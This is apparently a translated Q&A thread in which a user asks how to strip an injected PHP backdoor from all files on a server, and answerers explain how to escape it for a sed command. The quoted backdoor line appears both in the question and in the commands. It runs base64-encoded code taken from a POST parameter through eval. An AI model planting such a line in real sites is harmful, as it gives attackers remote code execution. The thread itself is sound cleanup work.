0

私はすべてに注入された次の文字列を持っています

if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}php if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}

どうすれば削除できますか?

私はあまり運がないので、次のことを試みています:

find /home -type f -exec sed -i 's/if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}php if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}//g' {} \;
4

2 に答える 2

0

文字列には、正規表現内で特別な意味を持つ多くの文字が含まれています (例: $(){}[])。が機能するには、それらすべてをエスケープする必要がありますsed。で一重引用符をエスケープする必要もあります'\''

于 2013-03-21T19:32:53.497 に答える
0

$''正規表現パラメーターの構文を使用して、区切り文字、、、および'その中をエスケープします。$[

find /home -type f -exec sed -i $'s/if(@\$_POST\[\'test\']){eval(base64_decode(\$_POST\[\'test\'])); exit();}php if(@\$_POST\[\'test\']){eval(base64_decode(\$_POST\[\'test\'])); exit();}//g' {} \;
于 2013-03-21T19:51:08.573 に答える